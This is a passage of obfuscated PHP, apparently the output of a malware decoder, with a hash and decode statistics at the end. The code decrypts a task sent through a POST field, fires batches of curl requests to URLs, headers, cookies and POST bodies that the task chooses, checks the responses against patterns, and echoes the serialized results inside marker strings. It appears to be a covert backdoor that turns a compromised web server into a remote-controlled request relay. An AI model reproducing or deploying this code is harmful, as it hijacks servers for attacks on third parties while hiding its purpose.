${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x71\x6f\x6bxc\x61"] = "d\x61\x74\x61";
if (is_array(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x71okx\x63a"]}))
{
${"\x47\x4c\x4f\x42\x41LS"}["hb\x73fb\x6a\x77\x72\x6ehw"] = "\x6b\x65\x79s";
${"G\x4c\x4fB\x41LS"}["\x78\x71\x77\x64\x75os\x74"] = "da\x74\x61";
${"\x47L\x4f\x42A\x4cS"}["\x74p\x6e\x75rk\x65\x77"] = "\x6b\x65\x79";
$fhtfgjgyyje = "\x72\x65s";
${${"\x47\x4c\x4f\x42\x41LS"}["t\x76\x75\x67ns"]} = Array();
${${"G\x4c\x4f\x42\x41L\x53"}["\x68b\x73\x66\x62\x6aw\x72n\x68\x77"]} = array_keys(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x78\x71\x77d\x75o\x73\x74"]});
foreach (${${"\x47LOBALS"}["\x67\x65\x6e\x65\x73f\x6f\x64\x70\x77\x6e\x69"]} as ${${"\x47L\x4fB\x41\x4c\x53"}["t\x70nu\x72\x6b\x65w"]})
{
$vxdeyrrnkj = "ne\x77_\x6be\x79";
$fqvleyyb = "\x6b\x65\x79";
${$vxdeyrrnkj} = $this->process_macros(${${"\x47L\x4f\x42\x41LS"}["\x6epesx\x6c\x6f"]});
${${"GL\x4fBA\x4c\x53"}["\x7a\x76\x6b\x76v\x63l"]} = $this->process_macros(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x79\x65\x61of\x76f\x77f"]}[${$fqvleyyb}]);
${${"G\x4cOB\x41\x4cS"}["\x74v\x75g\x6e\x73"]}[${${"GL\x4f\x42A\x4c\x53"}["\x65\x78\x74\x61\x71\x65\x67b\x66to"]}] = ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x76\x6b\x76vc\x6c"]};
}return${$fhtfgjgyyje};
} else if (is_string(${${"G\x4c\x4fB\x41\x4cS"}["wye\x61o\x66\x76\x66\x77\x66"]}))
{
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x78\x67\x77\x79\x67\x75t\x67u\x65"] = "\x64a\x74\x61";
$vjplag = "m\x61\x74\x63\x68e\x73";
preg_match_all("/\{\{(.*?)\\}\\}/", ${${"\x47\x4cO\x42\x41\x4cS"}["p\x78\x67\x77\x79g\x75\x74g\x75\x65"]}, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["l\x69v\x6a\x75\x6et"]});
for (${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x73xs\x64\x75\x65\x76"]} = 0; ${${"G\x4c\x4f\x42\x41\x4cS"}["\x62s\x78\x73\x64\x75\x65\x76"]} < sizeof(${$vjplag}[0]); ${${"G\x4c\x4f\x42\x41L\x53"}["b\x73xsdu\x65\x76"]} ++)
{
${${"\x47LO\x42A\x4c\x53"}["\x71\x6c\x7a\x65e\x70s\x6dh"]} = ${${"\x47L\x4fB\x41L\x53"}["l\x69\x76\x6au\x6e\x74"]}[0][${${"\x47LOB\x41\x4c\x53"}["\x62s\x78\x73\x64\x75e\x76"]}];
${"G\x4c\x4f\x42\x41\x4c\x53"}["vyn\x79\x76\x72a\x72\x6a\x63d"] = "da\x74a";
${"\x47L\x4fB\x41\x4cS"}["\x63k\x73\x75\x77\x6di\x6c\x79\x6b\x69m"] = "\x69";
$bxvdliuuchl = "\x6d\x61\x74ch\x65\x73";
${${"GL\x4f\x42\x41\x4c\x53"}["t\x6a\x79\x78\x62\x6bt\x6f"]} = ${$bxvdliuuchl}[1][${${"GL\x4fB\x41\x4c\x53"}["\x63\x6b\x73\x75\x77\x6d\x69l\x79\x6b\x69m"]}];
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x6f\x6an\x73jjl\x72"] = "\x70\x61tte\x72n";
${${"G\x4c\x4f\x42\x41L\x53"}["ktdez\x64\x78\x79\x69"]} = $this->get_macro_value(${${"\x47LO\x42A\x4cS"}["\x74\x6a\x79x\x62\x6bto"]});
${${"\x47\x4c\x4fBA\x4cS"}["\x77\x79\x65\x61\x6f\x66v\x66\x77\x66"]} = str_replace(${${"GL\x4f\x42\x41\x4c\x53"}["c\x6f\x6a\x6es\x6aj\x6cr"]}, ${${"GL\x4f\x42\x41\x4c\x53"}["kt\x64\x65\x7a\x64\x78y\x69"]}, ${${"\x47\x4cO\x42\x41\x4c\x53"}["v\x79\x6ey\x76r\x61\x72\x6a\x63d"]});
}return${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77\x79\x65a\x6f\x66\x76f\x77f"]};
} else
{
return${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x79e\x61ofv\x66w\x66"]};
}
}
private function gen_headers()
{
$xnvkxysuq = "\x63o\x6f\x6bi\x65";
${"GL\x4f\x42\x41\x4c\x53"}["\x64\x65\x65\x71\x70a\x65u\x6d"] = "\x68e\x61\x64\x65\x72\x73";
$eqmfyujglnpu = "r\x65\x73";
${"\x47\x4cO\x42ALS"}["c\x69\x6f\x73\x62y"] = "\x68\x65\x61\x64\x65\x72s";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x6a\x79\x72\x79yf"] = "\x63\x6f\x6fki\x65";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74v\x75\x67n\x73"]} = Array();
${${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x69\x6fs\x62y"]} = $this->process_macros($this->headers);
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x6b\x70\x66\x77\x6c\x6f\x75\x78\x63"]} = $this->process_macros($this->cookie_params);
foreach (${${"GL\x4fBA\x4cS"}["\x64eeq\x70\x61\x65um"]} as ${${"\x47\x4c\x4fB\x41\x4cS"}["n\x70\x65\x73\x78\x6c\x6f"]} => ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x62\x6d\x69sff\x68\x6c"]})
{
$bbypmy = "\x72es";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x72\x7aj\x76\x6a\x72\x70\x77"] = "\x6bey";
${$bbypmy}[] = ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62r\x7a\x6a\x76\x6a\x72\x70\x77"]} . ": " . ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x62mis\x66\x66\x68l"]};
}${${"\x47\x4cO\x42\x41L\x53"}["\x71\x6a\x79\x72y\x79\x66"]} = "\x43\x6fok\x69\x65:\x20";
foreach (${${"\x47LOBA\x4c\x53"}["o\x6b\x70f\x77\x6c\x6f\x75\x78\x63"]} as ${${"\x47\x4c\x4fB\x41\x4c\x53"}["np\x65sxl\x6f"]} => ${${"G\x4c\x4f\x42AL\x53"}["n\x62\x6d\x69s\x66fh\x6c"]})
{
$lbatwafry = "\x6be\x79";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["w\x69\x68x\x64\x61\x61\x6c\x6c\x66s"]} .= ${$lbatwafry} . "=" . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6e\x62\x6d\x69\x73\x66f\x68\x6c"]} . "\x3b";
}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["t\x76ugn\x73"]}[] = ${$xnvkxysuq};
return${$eqmfyujglnpu};
}
public function get_curl_handler()
{
$pdhjgrudbw = "\x63u\x72\x6c\x5f\x68\x61\x6e\x64\x6c\x65r";
${"\x47LOBAL\x53"}["\x6a\x69\x78yzx\x72\x78w"] = "cu\x72l_\x68a\x6e\x64\x6c\x65\x72";
if (!empty($this->curl_handler))
{
return$this->curl_handler;
}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x71\x6c\x6des"] = "u\x72\x6c";
if (!empty($this->get_params))
{
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x74\x64\x79p\x74\x71\x66"] = "\x75rl";
${${"\x47\x4c\x4f\x42A\x4c\x53"}["t\x64\x79\x70\x74\x71\x66"]} = $this->url . "?" . http_build_query($this->process_macros($this->get_params));
} else
{
$igresj = "\x75\x72\x6c";
${$igresj} = $this->url;
}${${"GL\x4f\x42\x41\x4cS"}["vj\x66\x65\x6f\x66\x77\x66\x65\x69q"]} = curl_init(${${"\x47\x4cOB\x41\x4c\x53"}["\x64\x71l\x6de\x73"]});
curl_setopt(${$pdhjgrudbw}, CURLOPT_RETURNTRANSFER, true);
${"GL\x4f\x42A\x4c\x53"}["l\x71\x75\x73\x70\x72\x64"] = "\x63u\x72\x6c\x5f\x68andl\x65\x72";
curl_setopt(${${"\x47LO\x42A\x4c\x53"}["vjfeo\x66w\x66\x65i\x71"]}, CURLOPT_CONNECTTIMEOUT, $this->connection_timeout);
curl_setopt(${${"\x47\x4c\x4fB\x41\x4cS"}["\x76\x6a\x66\x65ofwf\x65iq"]}, CURLOPT_TIMEOUT, $this->request_timeout);
curl_setopt(${${"\x47\x4c\x4f\x42A\x4cS"}["v\x6a\x66\x65o\x66w\x66e\x69q"]}, CURLINFO_HEADER_OUT, true);
curl_setopt(${${"G\x4c\x4fBA\x4c\x53"}["\x76\x6af\x65o\x66\x77\x66ei\x71"]}, CURLOPT_HEADER, 1);
curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x6afe\x6ff\x77\x66\x65\x69q"]}, CURLOPT_VERBOSE, 1);
curl_setopt(${${"\x47LO\x42\x41\x4c\x53"}["\x76\x6afe\x6ff\x77\x66\x65\x69\x71"]}, CURLOPT_FOLLOWLOCATION, 1);
if ($this->headers)
{
${"G\x4c\x4f\x42\x41L\x53"}["\x6b\x74\x68y\x79x\x69l"] = "\x63url_\x68\x61\x6e\x64\x6ce\x72";
curl_setopt(${${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x74h\x79\x79xi\x6c"]}, CURLOPT_HTTPHEADER, $this->gen_headers());
}if (!empty($this->post_params) || !empty($this->post_rawdata))
{
if (!empty($this->post_rawdata))
{
curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["vj\x66\x65\x6ff\x77\x66\x65\x69\x71"]}, CURLOPT_POSTFIELDS, $this->process_macros($this->post_rawdata));
} else
{
${"\x47\x4c\x4f\x42\x41L\x53"}["\x64b\x6d\x74\x6f\x72\x6b\x76"] = "cu\x72\x6c\x5f\x68and\x6ce\x72";
curl_setopt(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64\x62\x6d\x74\x6f\x72\x6bv"]}, CURLOPT_POSTFIELDS, http_build_query($this->process_macros($this->post_params)));
}curl_setopt(${${"\x47\x4cO\x42\x41\x4cS"}["vj\x66\x65o\x66\x77\x66\x65\x69q"]}, CURLOPT_POST, 1);
}$nlsklrvumbr = "\x63\x75\x72\x6c\x5f\x68\x61\x6e\x64\x6cer";
curl_setopt(${${"\x47LO\x42\x41\x4c\x53"}["\x76\x6a\x66\x65\x6ff\x77\x66\x65\x69q"]}, CURLOPT_BUFFERSIZE, 128);
curl_setopt(${$nlsklrvumbr}, CURLOPT_NOPROGRESS, false);
$this->curl_handler = ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x71\x75\x73\x70\x72\x64"]};
return${${"\x47L\x4fBA\x4c\x53"}["\x6a\x69\x78\x79\x7ax\x72x\x77"]};
}
public function parse_result($result)
{
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x63\x71\x63lh\x65"]} = FALSE;
if (!empty($this->results_match_substr))
{
if (strpos(${${"G\x4c\x4f\x42\x41\x4c\x53"}["q\x6b\x70\x63z\x71d"]}, $this->results_match_substr) !== FALSE)
{
${"\x47L\x4fB\x41LS"}["f\x63q\x6a\x6bc\x6d"] = "i\x73_m\x61t\x63he\x64";
${${"\x47\x4c\x4fBA\x4c\x53"}["f\x63q\x6a\x6b\x63m"]} = TRUE;
}
}if (!empty($this->results_match_regexp))
{
$ubhzwilgu = "r\x65\x73u\x6ct";
if (preg_match($this->results_match_regexp, ${$ubhzwilgu}))
{
${${"G\x4cO\x42A\x4c\x53"}["\x77c\x71\x63\x6c\x68\x65"]} = TRUE;
}
}if (!empty($this->results_match_not_substr))
{
if (strpos(${${"\x47\x4cOB\x41\x4c\x53"}["qk\x70\x63\x7aq\x64"]}, $this->results_match_not_substr) !== FALSE)
{
${${"G\x4c\x4f\x42\x41\x4cS"}["\x77\x63q\x63\x6ch\x65"]} = FALSE;
}
}if (${${"GL\x4f\x42\x41\x4c\x53"}["w\x63\x71\x63\x6c\x68e"]})
{
$this->result["\x64\x6f\x6da\x69n"] = $this->domain;
$this->result["u\x72\x6c"] = $this->url;
if (in_array("m\x61c\x72os", $this->results_return_value))
{
$this->result["mac\x72o\x73"] = $this->macros_ctx;
}if (in_array("po\x73t_\x70ar\x61m", $this->results_return_value))
{
if (!empty($this->post_rawdata))
{
$this->result["\x70os\x74_p\x61\x72\x61m"] = $this->post_rawdata;
} else
{
$this->result["post_\x70a\x72am"] = $this->post_params;
}
}if (in_array("r\x65\x74\x75\x72n_da\x74a", $this->results_return_value))
{
$this->result["\x72et\x75\x72\x6e\x5fd\x61ta"] = ${${"G\x4cOB\x41\x4c\x53"}["qk\x70c\x7aq\x64"]};
}
}return$this->result;
}
public function get_result()
{
return$this->result;
}
}
class TaskExecutor
{
public static function run($tasks, $threads)
{
${"\x47L\x4f\x42\x41LS"}["\x65\x6bstk\x67\x6en\x66\x6d\x67"] = "t\x61\x73\x6b\x73";
${"\x47\x4cO\x42\x41\x4c\x53"}["ltm\x78\x69\x68"] = "\x74\x61\x73\x6b\x73";
$tbkbeiwu = "\x74\x61\x73k";
$icjpelu = "\x6dh";
$umqldqtmx = "\x74a\x73\x6b";
${$icjpelu} = curl_multi_init();
foreach (${${"\x47L\x4fB\x41L\x53"}["\x67\x67\x69\x6cms\x6e\x64\x72"]} as ${$umqldqtmx})
{
${"G\x4c\x4f\x42\x41\x4cS"}["l\x6e\x63\x75c\x66\x72\x78h\x64"] = "\x6dh";
curl_multi_add_handle(${${"\x47LO\x42\x41\x4cS"}["\x6c\x6e\x63\x75c\x66r\x78\x68\x64"]}, $task->get_curl_handler());
}${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x74\x6cb\x6c\x6bu\x76\x74\x69d"]} = NULL;
${"\x47L\x4f\x42A\x4c\x53"}["\x75\x62\x6du\x77\x6e\x66\x74\x67\x79"] = "m\x68";
do
{
$myqurfwhayvr = "m\x68";
curl_multi_exec(${$myqurfwhayvr}, ${${"\x47\x4c\x4fB\x41L\x53"}["p\x74lbl\x6bu\x76\x74i\x64"]});
} while (${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x74l\x62\x6c\x6bu\x76\x74\x69d"]} > 0);
foreach (${${"G\x4c\x4fB\x41LS"}["\x6c\x74\x6d\x78\x69\x68"]} as ${$tbkbeiwu})
{
$ejijibakifk = "mh";
$task->parse_result(curl_multi_getcontent($task->get_curl_handler()));
curl_multi_remove_handle(${$ejijibakifk}, $task->get_curl_handler());
}curl_multi_close(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x75bm\x75\x77\x6e\x66\x74\x67\x79"]});
return${${"\x47L\x4fB\x41\x4c\x53"}["e\x6bst\x6b\x67\x6en\x66\x6d\x67"]};
}
}
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x69y\x65\x75s\x76\x63\x68"]} = TaskGenerator::decrypt_task_option($_POST["\x72e\x71ues\x74\x5fop\x74\x69on"]);
if (!${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x69o\x76\x78\x69\x6c"]})
{
exit();
}${${"\x47L\x4f\x42ALS"}["kc\x67\x68\x79l\x73rk\x62"]} = TaskGenerator::generate(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x69\x79\x65\x75s\x76ch"]});
${$rwbgohrjw} = TaskExecutor::run(${$yrydcwa}, -1);
${${"\x47\x4c\x4f\x42ALS"}["e\x67\x74\x74g\x6e\x6b\x73\x7a\x65v\x76"]} = Array();
foreach (${${"\x47LO\x42\x41\x4c\x53"}["\x67\x67ilm\x73nd\x72"]} as ${${"GL\x4f\x42\x41L\x53"}["\x6a\x64q\x73\x74u\x61"]})
{
$pyuydwjmqnvj = "\x72\x65su\x6c\x74";
${$pyuydwjmqnvj} = $task->get_result();
if (!empty(${${"GL\x4f\x42\x41L\x53"}["q\x6bp\x63\x7a\x71d"]}))
{
${"\x47L\x4f\x42\x41L\x53"}["\x67nlr\x6a\x72mk\x7ay"] = "r\x65s\x75l\x74\x73";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x6e\x6c\x72j\x72\x6d\x6b\x7ay"]}[] = ${${"\x47L\x4fBA\x4c\x53"}["\x71\x6b\x70\x63\x7aq\x64"]};
}
}echo"\x25\x25%\x4eDOS0\x33\x39" . "\x64NDI\x4f\x46%%\x25" . serialize(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65\x67\x74\x74gn\x6bszevv"]}) . "%\x25\x25\x6dfpODPM" . "EW\x70o\x334\x35\x4f\x44\x66\x25%%" . PHP_EOL;
Function Calls
None |
Stats
MD5 | 269cc8b860bfeb13f12c48e83e757a63 |
Eval Count | 0 |
Decode Time | 114 ms |